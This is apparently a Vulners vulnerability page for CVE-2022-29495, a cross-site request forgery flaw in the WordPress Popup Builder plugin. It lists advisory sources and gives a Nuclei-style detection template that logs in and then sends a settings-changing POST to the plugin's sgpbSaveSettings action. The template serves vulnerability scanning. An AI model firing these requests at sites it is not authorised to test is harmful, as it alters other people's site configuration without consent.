| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2022-29495 | 30 Jun 202207:42 | – | attackerkb | |
| CVE-2022-29495 | 22 Jul 202220:23 | – | circl | |
| WordPress plugin Sygnoos Popup Builder 跨站请求伪造漏洞 | 22 Jul 202200:00 | – | cnnvd | |
| WordPress Sygnoos Popup Builder Cross-Site Request Forgery Vulnerability | 26 Jul 202200:00 | – | cnvd | |
| CVE-2022-29495 | 22 Jul 202216:39 | – | cve | |
| CVE-2022-29495 WordPress Popup Builder plugin <= 4.1.11 - Cross-Site Request Forgery (CSRF) leading to plugin settings update | 22 Jul 202216:39 | – | cvelist | |
| EUVD-2022-33833 | 3 Oct 202520:07 | – | euvd | |
| CVE-2022-29495 | 22 Jul 202217:15 | – | nvd | |
| WordPress Popup Builder Plugin <= 4.1.11 CSRF Vulnerability | 27 Jul 202200:00 | – | openvas | |
| CVE-2022-29495 | 22 Jul 202217:15 | – | osv |
id: CVE-2022-29495
info:
name: WordPress Popup Builder <= 4.1.11 - Cross-Site Request Forgery
author: Shivam Kamboj
severity: medium
description: |
Sygnoos Popup Builder plugin <= 4.1.11 for WordPress contains a cross-site request forgery caused by lack of CSRF protection in plugin settings update, letting attackers change settings without authorization, exploit requires victim to visit malicious site or click malicious link.
impact: |
Attackers can modify plugin settings without authorization, potentially leading to site defacement or malicious content injection.
remediation: |
Implement CSRF tokens and verify requests properly, update to the latest plugin version.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-29495
- https://patchstack.com/database/vulnerability/popup-builder/wordpress-popup-builder-plugin-4-1-11-cross-site-request-forgery-csrf-leading-to-plugin-settings-update
metadata:
verified: true
max-request: 2
publicwww-query: "plugins/popup-builder"
tags: cve,cve2022,wordpress,wp-plugin,popup-builder,csrf,authenticated,wp
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(header, "wordpress_logged_in")'
condition: and
internal: true
- raw:
- |
POST /wp-admin/admin-post.php?action=sgpbSaveSettings HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
sgpb-enable-debug-mode=on&sgpb-dont-delete-data=on&sgpb-disable-analytics-general=on
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(header, "page=sgpbSettings") && contains(header, "post_type=popupbuilder")'
condition: and
extractors:
- type: regex
part: header
regex:
- "Location: (.+)"
group: 1
# digest: 4b0a00483046022100a2416e5e88d19ff6761f558c2a2efc6e3fc13244e065d3fc8d9782aa5c6808ac022100d6bddfa1e68c1a7ce971f65743dacd96f891a3530f4c76b7e3e1e488b651980d:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation